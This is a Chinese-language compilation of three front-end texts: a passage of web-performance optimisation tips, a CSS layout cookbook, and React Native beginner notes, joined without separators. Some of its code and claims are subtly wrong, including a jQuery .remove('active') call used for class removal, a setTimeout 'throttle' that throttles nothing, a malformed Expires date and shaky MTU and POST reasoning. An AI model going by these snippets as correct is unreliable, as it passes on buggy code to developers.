在 HTML 文件中引用外部资源可以有效利用浏览器的静态资源缓存，但有时候在移动端页面 CSS 或 JavaScript 比较简单的情况下为了减少请求，也会将 CSS 或 JavaScript 直接写到 HTML 里面，具体要根据 CSS 或 JavaScript 文件的大小和业务的场景来分析。如果 CSS 或 JavaScript 文件内容较多，业务逻辑较复杂，建议放到外部文件引入。

<link rel="stylesheet" href="//cdn.domain.com/path/main.css" >
...
<script src="//cdn.domain.com/path/main.js"></script>

4．避免页面中空的 href 和 src

当<link>标签的 href 属性为空，或<script>、<img>、<iframe>标签的 src 属性为空时，浏览器在渲染的过程中仍会将 href 属性或 src 属性中的空内容进行加载，直至加载失败，这样就阻塞了页面中其他资源的下载进程，而且最终加载到的内容是无效的，因此要尽量避免。

<!--不推荐-->
<img src="" alt="photo" >
<a href="">点击链接</a>

5．为 HTML 指定 Cache-Control 或 Expires

为 HTML 内容设置 Cache-Control 或 Expires 可以将 HTML 内容缓存起来，避免频繁向服务器端发送请求。前面讲到，在页面 Cache-Control 或 Expires 头部有效时，浏览器将直接从缓存中读取内容，不向服务器端发送请求。

<meta http-equiv="Cache-Control" content="max-age=7200">
<meta http-equiv="Expires" content="Mon,20Jul201623:00:00GMT">

6．合理设置 Etag 和 Last-Modified

合理设置 Etag 和 Last-Modified 使用浏览器缓存，对于未修改的文件，静态资源服务器会向浏览器端返回304，让浏览器从缓存中读取文件，减少 Web 资源下载的带宽消耗并降低服务器负载。

<meta http-equiv="last-modified" content="Sun,05 Nov 2017 13:45:57 GMT">

7．减少页面重定向

页面每次重定向都会延长页面内容返回的等待延时，一次重定向大约需要200毫秒不等的时间开销（无缓存），为了保证用户尽快看到页面内容，要尽量避免页面重定向。

8．使用静态资源分域存放来增加下载并行数

浏览器在同一时刻向同一个域名请求文件的并行下载数是有限的，因此可以利用多个域名的主机来存放不同的静态资源，增大页面加载时资源的并行下载数，缩短页面资源加载的时间。通常根据多个域名来分别存储 JavaScript、CSS 和图片文件。

<link rel="stylesheet" href="//cdn1.domain.com/path/main.css" >
...
<script src="//cdn2.domain.com/path/main.js"></script>

9．使用静态资源 CDN 来存储文件

如果条件允许，可以利用 CDN 网络加快同一个地理区域内重复静态资源文件的响应下载速度，缩短资源请求时间。

10．使用 CDN Combo 下载传输内容

CDN Combo 是在 CDN 服务器端将多个文件请求打包成一个文件的形式来返回的技术，这样可以实现 HTTP 连接传输的一次性复用，减少浏览器的 HTTP 请求数，加快资源下载速度。例如同一个域名 CDN 服务器上的 a.js，b.js，c.js 就可以按如下方式在一个请求中下载。

<script src="//cdn.domain.com/path/a.js,b.js,c.js"></script>

11．使用可缓存的 AJAX

对于返回内容相同的请求，没必要每次都直接从服务端拉取，合理使用 AJAX 缓存能加快 AJAX 响应速度并减轻服务器压力。

$.ajax({
    url : url,
    type : 'get',
    cache : true, //推荐使用缓存
    data : {},
    success (){//...},
    error (){//...}
});

12．使用 GET 来完成 AJAX 请求

使用 XMLHttpRequest 时，浏览器中的 POST 方法会发起两次 TCP 数据包传输，首先发送文件头，然后发送 HTTP 正文数据。而使用 GET 时只发送头部，所以在拉取服务端数据时使用 GET 请求效率更高。

$.ajax({
    url : url,
    type : 'get', //推荐使用get完成请求
    data : {},
    success (){//...},
    error(){//...}
});

13．减少 Cookie 的大小并进行 Cookie 隔离

HTTP 请求通常默认带上浏览器端的 Cookie 一起发送给服务器，所以在非必要的情况下，要尽量减少 Cookie 来减小 HTTP 请求的大小。对于静态资源，尽量使用不同的域名来存放，因为 Cookie 默认是不能跨域的，这样就做到了不同域名下静态资源请求的 Cookie 隔离。

14．缩小 favicon.ico 并缓存

有利于 favicon.ico 的重复加载，因为一般一个 Web 应用的 favicon.ico 是很少改变的。

15．推荐使用异步 JavaScript 资源

异步的 JavaScript 资源不会阻塞文档解析，所以允许在浏览器中优先渲染页面，延后加载脚本执行。例如 JavaScript 的引用可以如下设置，也可以使用模块化加载机制来实现。

<script src="main.js" defer></script>
<script src="main.js" async></script>

使用 async 时，加载和渲染后续文档元素的过程和 main.js 的加载与执行是并行的。使用 defer 时，加载后续文档元素的过程和 main.js 的加载是并行的，但是 main.js 的执行要在页面所有元素解析完成之后才开始执行。

16．消除阻塞渲染的 CSS 及 JavaScript

对于页面中加载时间过长的 CSS 或 JavaScript 文件，需要进行合理拆分或延后加载，保证关键路径的资源能快速加载完成。

17．避免使用 CSS import 引用加载 CSS

CSS 中的 ＠import 可以从另一个样式文件中引入样式，但应该避免这种用法，因为这样会增加 CSS 资源加载的关键路径长度，带有 ＠import 的 CSS 样式需要在 CSS 文件串行解析到 @import 时才会加载另外的 CSS 文件，大大延后 CSS 渲染完成的时间。

<!--不推荐-->
<style>
    @import "path/main.css";
</style>

<!--推荐-->
<link rel="stylesheet" href="//cdn1.domain.com/path/main.css" >

页面渲染类

1．把 CSS 资源引用放到 HTML 文件顶部

一般推荐将所有 CSS 资源尽早指定在 HTML 文档 <head> 中，这样浏览器可以优先下载 CSS 并尽早完成页面渲染。

2．JavaScript 资源引用放到 HTML 文件底部

JavaScript 资源放到 HTML 文档底部可以防止 JavaScript 的加载和解析执行对页面渲染造成阻塞。由于 JavaScript 资源默认是解析阻塞的，除非被标记为异步或者通过其他的异步方式加载，否则会阻塞 HTML DOM 解析和 CSS 渲染的过程。

3．尽量预先设定图片等大小

在加载大量的图片元素时，尽量预先限定图片的尺寸大小，否则在图片加载过程中会更新图片的排版信息，产生大量的重排

4．不要在 HTML 中直接缩放图片

在 HTML 中直接缩放图片会导致页面内容的重排重绘，此时可能会使页面中的其他操作产生卡顿，因此要尽量减少在页面中直接进行图片缩放。

5．减少 DOM 元素数量和深度

HTML 中标签元素越多，标签的层级越深，浏览器解析 DOM 并绘制到浏览器中所花的时间就越长，所以应尽可能保持 DOM 元素简洁和层级较少。

<!--不推荐-->
<div>
    <span>
        <a href="javascript:void(0);">
            <img src="./path/photo.jpg" alt="图片">
        </a>
    </span>
</div>

<!--推荐-->
<img src="./path/photo.jpg" alt="图片" >

6．尽量避免在选择器末尾添加通配符

CSS 解析匹配到 渲染树的过程是从右到左的逆向匹配，在选择器末尾添加通配符至少会增加一倍多计算量。

7．减少使用关系型样式表的写法

直接使用唯一的类名即可最大限度的提升渲染引擎绘制渲染树等效率

8．尽量减少使用JS动画

JS 直接操作 DOM 极容易引起页面的重排

9．CSS 动画使用 translate、scale 代替 top、height

尽量使用 CSS3 的 translate、scale 属性代替 top、left 和 height、width，避免大量的重排计算

10．尽量避免使用<table>、<iframe>

<table> 内容的渲染是将 table 的 DOM 渲染树全部生成完并一次性绘制到页面上的，所以在长表格渲染时很耗性能，应该尽量避免使用它，可以考虑使用列表元素 <ul> 代替。尽量使用异步的方式动态添加 iframe，因为 iframe 内资源的下载进程会阻塞父页面静态资源的下载与 CSS 及 HTML DOM 的解析。

11．避免运行耗时的 JavaScript

长时间运行的 JavaScript 会阻塞浏览器构建 DOM 树、DOM 渲染树、渲染页面。所以，任何与页面初次渲染无关的逻辑功能都应该延迟加载执行，这和 JavaScript 资源的异步加载思路是一致的。

12．避免使用 CSS 表达式或 CSS 滤镜

CSS 表达式或 CSS 滤镜的解析渲染速度是比较慢的，在有其他解决方案的情况下应该尽量避免使用。

//不推荐
.opacity{
    filter : progid : DXImageTransform.Microsoft.Alpha( opacity = 50 );
}

移动端浏览器前端优化策略

相对于桌面端浏览器，移动端 Web 浏览器上有一些较为明显的特点：设备屏幕较小、新特性兼容性较好、支持一些较新的 HTML5 和 CSS3 特性、需要与 Native 应用交互等。但移动端浏览器可用的 CPU 计算资源和网络资源极为有限，因此要做好移动端 Web 上的优化往往需要做更多的事情。首先，在移动端 Web 的前端页面渲染中，桌面浏览器端上的优化规则同样适用，此外针对移动端也要做一些极致的优化来达到更好的效果。需要注意的是，并不是移动端的优化原则在桌面浏览器端就不适用，而是由于兼容性和差异性的原因，一些优化原则在移动端更具代表性。

网络加载类

1．首屏数据请求提前，避免 JavaScript 文件加载后才请求数据

为了进一步提升页面加载速度，可以考虑将页面的数据请求尽可能提前，避免在 JavaScript 加载完成后才去请求数据。通常数据请求是页面内容渲染中关键路径最长的部分，而且不能并行，所以如果能将数据请求提前，可以极大程度上缩短页面内容的渲染完成时间。

2．首屏加载和按需加载，非首屏内容滚屏加载，保证首屏内容最小化

由于移动端网络速度相对较慢，网络资源有限，因此为了尽快完成页面内容的加载，需要保证首屏加载资源最小化，非首屏内容使用滚动的方式异步加载。一般推荐移动端页面首屏数据展示延时最长不超过3秒。目前**联通 3G 的网络速度为 338KB/s（2.71Mb/s），所以推荐首屏所有资源大小不超过 1014KB，即大约不超过 1MB。

3．模块化资源并行下载

在移动端资源加载中，尽量保证 JavaScript 资源并行加载，主要指的是模块化 JavaScript 资源的异步加载，例如AMD的异步模块，使用并行的加载方式能够缩短多个文件资源的加载时间。

4．inline 首屏必备的 CSS 和 JavaScript

通常为了在 HTML 加载完成时能使浏览器中有基本的样式，需要将页面渲染时必备的 CSS 和 JavaScript 通过 <script> 或 <style> 内联到页面中，避免页面 HTML 载入完成到页面内容展示这段过程中页面出现空白。

<!DOCTYPE html>
<html lang="en">
    <head>
    <meta charset="UTF-8">
    <title>样例</title>
    <meta name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
    <style>
    /*必备的首屏CSS*/
    html,body{
        margin:0;
        padding:0;
        background-color:#ccc;
    }
    </style>
</head>
<body>
</body>
</html>

5．meta dns prefetch 设置 DNS 预解析

设置文件资源的 DNS 预解析，让浏览器提前解析获取静态资源的主机 IP，避免等到请求时才发起 DNS 解析请求。通常在移动端 HTML 中可以采用如下方式完成。

<!--cdn域名预解析-->
<meta http-equiv="x-dns-prefetch-control" content="on" >
<link rel="dns-prefetch" href="//cdn.domain.com" >

6．资源预加载

对于移动端首屏加载后可能会被使用的资源，需要在首屏完成加载后尽快进行加载，保证在用户需要浏览时已经加载完成，这时候如果再去异步请求就显得很慢。

7．合理利用MTU策略

通常情况下，我们认为 TCP 网络传输的最大传输单元（Maximum Transmission Unit，MTU）为 1500B，即一个RTT（Round-Trip Time，网络请求往返时间）内可以传输的数据量最大为 1500 字节。因此，在前后端分离的开发模式中，尽量保证页面的 HTML 内容在 1KB 以内，这样整个 HTML 的内容请求就可以在一个 RTT 内请求完成，最大限度地提高 HTML 载入速度。

缓存类

1．合理利用浏览器缓存

除了上面说到的使用 Cache-Control、Expires、Etag 和 Last-Modified 来设置 HTTP 缓存外，在移动端还可以使用 localStorage 等来保存 AJAX 返回的数据，或者使用 localStorage 保存 CSS 或 JavaScript 静态资源内容，实现移动端的离线应用，尽可能减少网络请求，保证静态资源内容的快速加载。

2．静态资源离线方案

对于移动端或 Hybrid 应用，可以设置离线文件或离线包机制让静态资源请求从本地读取，加快资源载入速度，并实现离线更新。关于这块内容，我们会在后面的章节中重点讲解。

3．尝试使用 AMP HTML

AMP HTML 可以作为优化前端页面性能的一个解决方案，使用 AMP Component 中的元素来代替原始的页面元素进行直接渲染。

<!--不推荐-->
<video width="400" height="300" src="http://www.domain.com/videos/myvideo.mp4" 
poster="path/poster.jpg">
    <div fallback>
        <p>Your browser doesn’t support HTML5 video</p>
    </div>
    <source type="video/mp4" src="foo.mp4">
    <source type="video/webm" src="foo.webm">
</video>

<!--推荐-->
<amp-video width="400" height="300" src="http://www.domain.com/videos/myvideo.mp4" 
poster="path/poster.jpg">
    <div fallback>
        <p>Your browser doesn’t support HTML5 video</p>
    </div>
    <source type="video/mp4" src="foo.mp4">
    <source type="video/webm" src="foo.webm">
</amp-video>

4．尝试使用 PWA 模式

PWA（Progressive Web Apps）是 Google 提出的用前沿的 Web 技术为网页提供 App 般使用体验的一系列方案。

图片类

1．图片压缩处理

在移动端，通常要保证页面中一切用到的图片都是经过压缩优化处理的，而不是以原图的形式直接使用的，因为那样很消耗流量，而且加载时间更长。

2．使用较小的图片，合理使用 base64 内嵌图片

在页面使用的背景图片不多且较小的情况下，可以将图片转化成 base64 编码嵌入到 HTML 页面或 CSS 文件中，这样可以减少页面的 HTTP 请求数。需要注意的是，要保证图片较小，一般图片大小超过 2KB 就不推荐使用 base64 嵌入显示了。

.class-name{
    background-image : url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAALCAMAAABxsOwqAAAAYFBMVEWnxwusyQukxQudwQyZvgyhxAyfwgyxzAsUHQGOuA0aJAERGAFIXwSTugyEqgtqhghQZgUwQQIpOQKbuguVtQuKrAuCowp2kQlheghTbQZHWQU7SwVAVgQ6TgQlLwMeKwFOemyQAAAAVElEQVQI1y3JVRaAIAAF0UconXbvf5ei8HfPDIQQhBAAFE10iKig3SLRNN4SP/p+N08VC0YnfIlNWtqIkhg/TPYbCvhqdHAWRXPZSp3g3CWZvVLXC6OJA3ukv0AaAAAAAElFTkSuQmCC');
}

3．使用更高压缩比格式的图片

使用具有较高压缩比格式的图片，如 webp（需要设计降级兼容方案）等。在同等图片画质的情况下，高压缩比格式的图片体积更小，能够更快完成文件传输，节省网络流量。

<img src="//cdn.domain.com/path/photo.webp" alt="webp格式图片" >

4．图片懒加载

为了保证页面内容的最小化，加速页面的渲染，尽可能节省移动端网络流量，页面中的图片资源推荐使用懒加载实现，在页面滚动时动态载入图片。

<img data-src="//cdn.domain.com/path/photo.jpg" alt="懒加载图片" >

5．使用 MediaQuery 或 srcset 根据不同屏幕加载不同大小图片

在介绍响应式的章节中我们了解到，针对不同的移动端屏幕尺寸和分辨率，输出不同大小的图片或背景图能保证在用户体验不降低的前提下节省网络流量，加快部分机型的图片加载速度，这在移动端非常值得推荐。

6．使用 iconfont 代替图片图标

在页面中尽可能使用 iconfont 来代替图片图标，这样做的好处有以下几个：

• 使用 iconfont 体积较小，而且是矢量图，因此缩放时不会失真；
• 可以方便地修改图片大小尺寸和呈现颜色。

但是需要注意的是，iconfont 引用不同 webfont 格式时的兼容性写法，根据经验推荐尽量按照以下顺序书写，否则不容易兼容到所有的浏览器上。

@font-face{
    font-family:iconfont;
    src:url("./iconfont.eot");
    src:url("./iconfont.eot?#iefix")  format("eot"),
        url("./iconfont.woff")  format("woff"),
        url("./iconfont.ttf")  format("truetype");
}

7．定义图片大小限制

加载的单张图片一般建议不超过 30KB，避免大图片加载时间长而阻塞页面其他资源的下载，因此推荐在 10KB 以内。如果用户上传的图片过大，建议设置告警系统，帮助我们观察了解整个网站的图片流量情况，做出进一步的改善。

8．强缓存策略

对于一些「永远」不会变的图片可以使用强缓存的方式缓存在用户的浏览器上。

脚本类

1．尽量使用 id

选择器选择页面 DOM 元素时尽量使用 id 选择器，因为 id 选择器速度最快。

2．合理缓存 DOM 对象

对于需要重复使用的 DOM 对象，要优先设置缓存变量，避免每次使用时都要从整个DOM树中重新查找。

//不推荐
$('#mod.active').remove('active');
$('#mod.not-active').addClass('active');

//推荐
let $mod=$('#mod');
$mod.find('.active').remove('active');
$mod.find('.not-active').addClass('active');

3．页面元素尽量使用事件代理，避免直接事件绑定

使用事件代理可以避免对每个元素都进行绑定，并且可以避免出现内存泄露及需要动态添加元素的事件绑定问题，所以尽量不要直接使用事件绑定。

//不推荐
$('.btn').on('click',function(e){
    console.log(this);
});

//推荐
$('body').on('click','.btn',function(e){
    console.log(this);
});

4．使用 touchstart 代替 click

由于移动端屏幕的设计， touchstart 事件和 click 事件触发时间之间存在 300 毫秒的延时，所以在页面中没有实现 touchmove 滚动处理的情况下，可以使用 touchstart 事件来代替元素的 click 事件，加快页面点击的响应速度，提高用户体验。但同时我们也要注意页面重叠元素 touch 动作的点击穿透问题。

//不推荐
$('body').on('click','.btn',function(e){
    console.log(this);
});

//推荐
$('body').on('touchstart','.btn',function(e){
    console.log(this);
});

5．避免 touchmove、scroll 连续事件处理

需要对 touchmove、scroll 这类可能连续触发回调的事件设置事件节流，例如设置每隔 16ms（60 帧的帧间隔为 16.7ms，因此可以合理地设置为 16ms ）才进行一次事件处理，避免频繁的事件调用导致移动端页面卡顿。

//不推荐
$('.scroller').on('touchmove','.btn',function(e){
    console.log(this);
});

//推荐
$('.scroller').on('touchmove','.btn',function(e){
    let self=this;
    setTimeout(function(){
        console.log(self);
    },16);
});

6．避免使用 eval、with，使用 join 代替连接符＋，推荐使用 ECMAScript6 的字符串模板

这些都是一些基础的安全脚本编写问题，尽可能使用较高效率的特性来完成这些操作，避免不规范或不安全的写法。

7．尽量使用 ECMAScript6＋的特性来编程

ECMAScript6＋ 一定程度上更加安全高效，而且部分特性执行速度更快，也是未来规范的需要，所以推荐使用 ECMAScript6＋ 的新特性来完成后面的开发。

渲染类

1．使用 Viewport 固定屏幕渲染，可以加速页面渲染内容

一般认为，在移动端设置 Viewport 可以加速页面的渲染，同时可以避免缩放导致页面重排重绘。在移动端固定 Viewport 设置的方法如下。

<!--设置viewport不缩放-->
<meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=no">

2．避免各种形式重排重绘

页面的重排重绘很耗性能，所以一定要尽可能减少页面的重排重绘，例如页面图片大小变化、元素位置变化等这些情况都会导致重排重绘。

3．使用 CSS3 动画，开启GPU加速

使用 CSS3 动画时可以设置 transform:translateZ(0) 来开启移动设备浏览器的GPU图形处理加速，让动画过程更加流畅，但需要注意的是，在 Native WebView 下 GPU 加速有几率产生 App Crash。

-webkit-transform:translateZ(0);
    -ms-transform:translateZ(0);
     -o-transform:translateZ(0);
        transform:translateZ(0);

4．合理使用 Canvas 和 requestAnimationFrame

选择 Canvas 或 requestAnimationFrame 等更高效的动画实现方式，尽量避免使用 setTimeout、setInterval 等方式来直接处理连续动画。

5．SVG 代替图片

部分情况下可以考虑使用 SVG 代替图片实现动画，因为使用 SVG 格式内容更小，而且 SVG DOM 结构方便调整。

6．不滥用 float

在 DOM 渲染树生成后的布局渲染阶段，使用 float 的元素布局计算比较耗性能，所以尽量减少 float 的使用，推荐使用固定布局或 flex-box 弹性布局的方式来实现页面元素布局。

7．不滥用 web 字体或过多 font-size 声明

过多的 font-size 声明会增加字体的大小计算，而且也没有必要的。

8．做好脚本容错

脚本容错可以避免「非正常环境」的执行错误影响页面的加载和不相关功能的使用

架构协议类

1．尝试使用 SPDY 和 HTTP2

在条件允许的情况下可以考虑使用 SPDY 协议来进行文件资源传输，利用连接复用加快传输过程，缩短资源加载时间。HTTP2 在未来也是可以考虑尝试的。

2．使用后端数据渲染

使用后端数据渲染的方式可以加快页面内容的渲染展示，避免空白页面的出现，同时可以解决移动端页面SEO的问题。如果条件允许，后端数据渲染是一个很不错的实践思路。后面的章节会详细介绍后端数据渲染的相关内容。

3．使用 NativeView 代替 DOM 的性能劣势

可以尝试使用 NativeView 的 MNV＊ 开发模式来避免 HTML DOM 性能慢的问题，目前使用 MNV＊ 的开发模式已经可以将页面内容渲染体验做到接近客户端 Native 应用的体验了。但需要避免 js Framework 和 native Framework 的频繁交互。

总结

关于页面优化的常用技术手段和思路主要包括以上这些，尽管列举出很多，但仍可能有少数遗漏，可见前端性能优化不是一件简简单单的事情，其涉及的内容很多。大家可以根据实际情况将这些方法应用到自己的项目当中，要想全部做到几乎是不可能的，但做到用户可接受的原则还是很容易实现的。

另外，如果你有比较好的优化点想要扩充，欢迎下方评论。

我们在日常开发中经常遇到布局问题，下面罗列几种常用的css布局方案
话不多说，上代码！

以下所有demo的源码
github：https://github.com/zwwill/css-layout/tree/master/demo-1
链接: http://pan.baidu.com/s/1cHBH3g
密码:obkb

居中布局

以下居中布局均以不定宽为前提，定宽情况包含其中

1、水平居中

a) inline-block + text-align

.parent{
    text-align: center;
}
.child{
    display: inline-block;
}

tips：此方案兼容性较好，可兼容至IE8，对于IE567并不支持inline-block，需要使用css hack进行兼容

b) table + margin

.child{
    display: table;
    margin: 0 auto;
}

tips：此方案兼容至IE8，可以使用<table/>代替css写法，兼容性良好

c) absolute + transform

.parent{
    position: relative;
    height:1.5em;
}
.child{
    position: absolute;
    left: 50%;
    transform: translateX(-50%);
}

tips：此方案兼容至IE9，因为transform兼容性限制，如果.child为定宽元素，可以使用以下写法，兼容性极佳

.parent{
    position: relative;
    height:1.5em;
}
.child{
    position: absolute;
    width:100px;
    left: 50%;
    margin-left:-50px;
}

d) flex + justify-content

.parent{
    display: flex;
    justify-content: center;
}
.child{
    margin: 0 auto;
}

tips：flex是一个强大的css，生而为布局，它可以轻松的满足各种居中、对其、平分的布局要求，但由于现浏览器兼容性问题，此方案很少被使用，但是值得期待浏览器兼容性良好但那一天！

2、垂直

a) table-cell + vertial-align

.parent{
	display: table-cell;
	vertical-align: middle;
}

tips：可替换成<table />布局，兼容性良好

b) absolute + transform

.parent{
	position: relative;
}
.child{
	position: absolute;
	top: 50%;
	transform: translateY(-50%);
}

tips：存在css3兼容问题，定宽兼容性良好

c) flex + align-items

.parent{
	display: flex;
	align-items: center;
}

tips：高版本浏览器兼容，低版本不适用

3、水平垂直

a) inline-block + table-cell + text-align + vertical-align

.parent{
	text-align: center;
	display: table-cell;
	vertical-align: middle;
}
.child{
	display: inline-block;
}

tips：兼容至IE8
b) absolute + transform

.parent{
	position: relative;
}
.child{
	position: absolute;
	left: 50%;
	top: 50%;
	transform: translate(-50%,-50%);
}

tips：兼容性稍差，兼容IE10以上
c) flex

.parent{
	display: flex;
	justify-content: center;
	align-items: center;
}

tips：兼容差

多列布局

1、一列定宽，一列自适应

a) float + margin

.left{
	float: left;
	width: 100px;
}
.right{
	margin-left: 120px;
}

tips：此方案对于定宽布局比较好，不定宽布局推荐方法b
b) float + overflow

.left{
	float: left;
	width: 100px;
	margin-right: 20px;
}
.right{
	overflow: hidden;
}

tips：个人常用写法，此方案不管是多列定宽或是不定宽，都可以完美实现，同时可以实现登高布局
c) table

.parent{
	display: table; width: 100%;
	table-layout: fixed;
}
.left,.right{
	display: table-cell;
}
.left{
	width: 100px;
	padding-right: 20px;
}

d) flex

.parent{
	display: flex;
}
.left{
	width: 100px;
	padding-right: 20px;
}
.right{
	flex: 1;
}

2、多列定宽，一列自适应

a) float + overflow

.left,.center{
	float: left;
	width: 100px;
	margin-right: 20px;
}
.right{
	overflow: hidden;
}

b) table

.parent{
	display: table; width: 100%;
	table-layout: fixed;
}
.left,.center,.right{
	display: table-cell;
}
.right{
	width: 100px;
	padding-right: 20px;
}

c) flex

.parent{
	display: flex;
}
.left,.center{
	width: 100px;
	padding-right: 20px;
}
.right{
	flex: 1;
}

3、一列不定宽，一列自适应

a) float + overflow

.left{
	float: left;
	margin-right: 20px;
}
.right{
	overflow: hidden;
}
.left p{width: 200px;}

b) table

.parent{
	display: table; width: 100%;
}
.left,.right{
	display: table-cell;
}
.left{
	width: 0.1%;
	padding-right: 20px;
}
.left p{width:200px;}

c) flex

.parent{
	display: flex;
}
.left{
	margin-right: 20px;
}
.right{
	flex: 1;
}
.left p{width: 200px;}

4、多列不定宽，一列自适应

a) float + overflow

.left,.center{
	float: left;
	margin-right: 20px;
}
.right{
	overflow: hidden;
}
.left p,.center p{
	width: 100px;
}

5、等分

a) float + margin

.parent{
	margin-left: -20px;
}
.column{
	float: left;
	width: 25%;
	padding-left: 20px;
	box-sizing: border-box;
}

b) table + margin

.parent-fix{
	margin-left: -20px;
}
.parent{
	display: table;
	width:100%;
	table-layout: fixed;
}
.column{
	display: table-cell;
	padding-left: 20px;
}

c) flex

.parent{
	display: flex;
}
.column{
	flex: 1;
}
.column+.column{
	margin-left:20px;
}

6、等高

a) float + overflow

.parent{
	overflow: hidden;
}
.left,.right{
	padding-bottom: 9999px;
	margin-bottom: -9999px;
}
.left{
	float: left; width: 100px;
}
.right{
	overflow: hidden;
}

b) table

.parent{
	display: table; 
	width: 100%;
}
.left{
	display:table-cell; 
	width: 100px;
	margin-right: 20px;
}
.right{
	display:table-cell; 
}

c) flex

.parent{
	display:flex;
	width: 100%;
}
.left{
	width: 100px;
}
.right{
	flex:1;
}

并排等分，单排对齐靠左布局

效果图

flex

.main {
    display: flex;
    flex-flow: row wrap;
    justify-content: space-between;
}
.item {
    display: inline-block;
}
.empty{
    height: 0;
    visibility: hidden;
}

具体详解请见下文
#28

圣杯布局&双飞翼布局

此处仅为代码展示，差别讲解请移驾下文
【方案】圣杯布局&双飞翼布局

圣杯布局

【demo】https://codepen.io/zwwill/pen/OBYXEa

<div class="container">
    <div class="header">header</div>
    <div class="wrapper clearfix">
        <div class="main col">main</div>
        <div class="left col">left</div>
        <div class="right col">right</div>
    </div>
    <div class="footer">footer</div>
</div>

.container {width: 500px; margin: 50px auto;}
.wrapper {padding: 0 100px 0 100px;}
.col {position: relative; float: left;}
.header,.footer {height: 50px;}
.main {width: 100%;height: 200px;}
.left {width: 100px; height: 200px; margin-left: -100%;left: -100px;}
.right {width: 100px; height: 200px; margin-left: -100px; right: -100px;}
.clearfix::after {content: ""; display: block; clear: both; visibility: hidden; height: 0; overflow: hidden;}

双飞翼布局

ps:
“这不是一样的图嘛？”
“对！就是一样的，因为是解决同一种问题的嘛。”

【demo】https://codepen.io/zwwill/pen/oaRLao

<div class="container">
    <div class="header">header</div>
    <div class="wrapper clearfix">
        <div class="main col">
            <div class="main-wrap">main</div>
        </div>
        <div class="left col">left</div>
        <div class="right col">right</div>
    </div>
    <div class="footer">footer</div>
</div>

.col {float: left;}
.header {height: 50px;}
.main {width: 100%;}
.main-wrap {margin: 0 100px 0 100px;height: 200px;}
.left {width: 100px; height: 200px; margin-left: -100%;}
.right {width: 100px; height: 200px; margin-left: -100px;}
.footer {height: 50px;}
.clearfix::after {content: ""; display: block; clear: both; visibility: hidden; height: 0; overflow: hidden;}

定位布局

简单的绝对定位即可解决问题，为啥还要搞什么圣杯和双飞翼？原因

<div class="header">header</div>
<div class="wrapper">
    <div class="main col">
        main
    </div>
    <div class="left col">
        left
    </div>
    <div class="right col">
        right
    </div>
</div>
<div class="footer">footer</div>

.wrapper { position: relative; }
.main { margin:0 100px;}
.left { position: absolute; left: 0; top: 0;}
.right { position: absolute; right: 0; top: 0;}

如果你觉得此文对你有一定的帮助，可以点击下方的【喜欢】收藏备用

ReactNative的文档地址有多个，如果你英文够好，就去研读官方的文档吧，
如果读原文比较吃力，中文官网也是不错的选择。

下面是我个人记录的一些笔记，仅供初学者入门参考

预科

入门React Native前需要了解一下知识，这样能帮助你更快的掌握RN
Node：Node.js 教程
ReactJS：《React 入门实例教程》
ES6：《ECMAScript 6 入门》

环境

系统环境要求

IOS : MacOS, 黑苹果
Android :MacOS, Linux, Windows

配置

所有的技术学习都应该从环境搭建开始，这里也没什么好总结的，最好的方法就是跟着官网指导配置环境
如果你是node的老手，那就直接动手安装以下环境吧：

• node
• npm
• react-native-cli
• Xcode
  安装Xcode IDE和Xcode的命令行工具（IOS开发依赖）
• Android Studio
  下载必须的插件：
  a) JDK1.8+
  b) Show Package Details
  c) Android SDK Build Tools （指定23.0.1版本）
  d) Android Support Repository
  配置基础环境：
  a) ANDROID_HOME （如运行是遇到问题可参考此文http://www.jianshu.com/p/a77396301b22）
  b) JAVA_HOME

测试

react-native init RNDemo
cd RNDemo
react-native run-ios

如果你的虚拟机启动了，那么恭喜你，你的环境已经配置成功！
如果运行报错，可以文章最后找寻解决方案。

语法

首先需要了解一些基本的React的概念，比如JSX语法、组件、state状态以及props属性。
还需要掌握一些React Native特有的知识，比如原生组件的使用。

教程上的东西我就不多说了，官方文档上有详细的讲解

直接从代码上讲解新手注意点吧

Hello World

传统惯例，入门先行，Hello World

你可以新建一个项目，然后用上面的代码覆盖你的index.ios.js或是index.android.js 文件，然后运行看看。

import React, { Component } from 'react';
import { AppRegistry, StyleSheet, Text } from 'react-native';
class HelloWorldApp extends Component {
  render() {
    return (
      <Text style={styles.red}>Hello world!</Text>
    );
  }
}
const styles = StyleSheet.create({
  red: {
    color: 'red',
    fontWeight: 'bold',
  }
});
// 注意，这里用引号括起来的'HelloWorldApp'必须和你init创建的项目名一致
AppRegistry.registerComponent('HelloWorldApp', () => HelloWorldApp);

从语法上看，RN和ReactJS语法区别不大，都是采用JSX和ES6的形式，如果你对ReactJS和ES6不熟悉，建议你先拜读下阮一峰的博文教程：《React 入门实例教程》，《ECMAScript 6 入门》

相较写Web App，区别在于RN的语法引入了原生的组件

import { AppRegistry, StyleSheet, Text } from 'react-native';

RN中虽然使用JS写原生UI，但不再使用常规HTML标签 <div> 或是 <span> ，而是使用RN的组件 <Text>
AppRegistry 模块写在index.ios.js或是index.android.js文件里，用来告知React Native哪一个组件被注册为整个应用的根容器，一般一个应用只运行一次。

仅仅使用props和基础的View、Text、Image以及TextInput组件，就足以编写各式各样的UI组件了

样式

按照JSX的语法要求使用了驼峰命名法：

• font-weight -> fontWeight
• background-color -> backgroundColor

React Native中的尺寸都是无单位的，表示的是与设备像素密度无关的逻辑像素点：

<View style={{width: 50, height: 50, backgroundColor: 'powderblue'}} />

事件

事件的注册跟ReactJS没什么区别

class MyButton extends Component {
  _onPressButton() {
    console.log("You tapped the button!");
  }

  render() {
    return (
      <TouchableHighlight onPress={this._onPressButton}>
        <Text>Button</Text>
      </TouchableHighlight>
    );
  }
}

此处注册的组件为TouchableHighlight，具体使用哪种组件，取决于你希望给用户什么样的视觉反馈

• 一般来说，你可以使用TouchableHighlight来制作按钮或者链接。注意此组件的背景会在用户手指按下时变暗。
• 在Android上还可以使用TouchableNativeFeedback，它会在用户手指按下时形成类似墨水涟漪的视觉效果。
• TouchableOpacity会在用户手指按下时降低按钮的透明度，而不会改变背景的颜色。
• 如果你想在处理点击事件的同时不显示任何视觉反馈，则需要使用TouchableWithoutFeedback。

常用的事件有：
点击：onPress
长按：onLongPress
缩放：maximumZoomScale，minimumZoomScale

另外关于Props、State、样式、布局、事件等知识点的详解，官方文档上都有详细的讲解，比较基础，这里就不做介绍了

跨平台

'Learn Once,Write Anywhere' and not 'Write Once,Running Anywhere'.

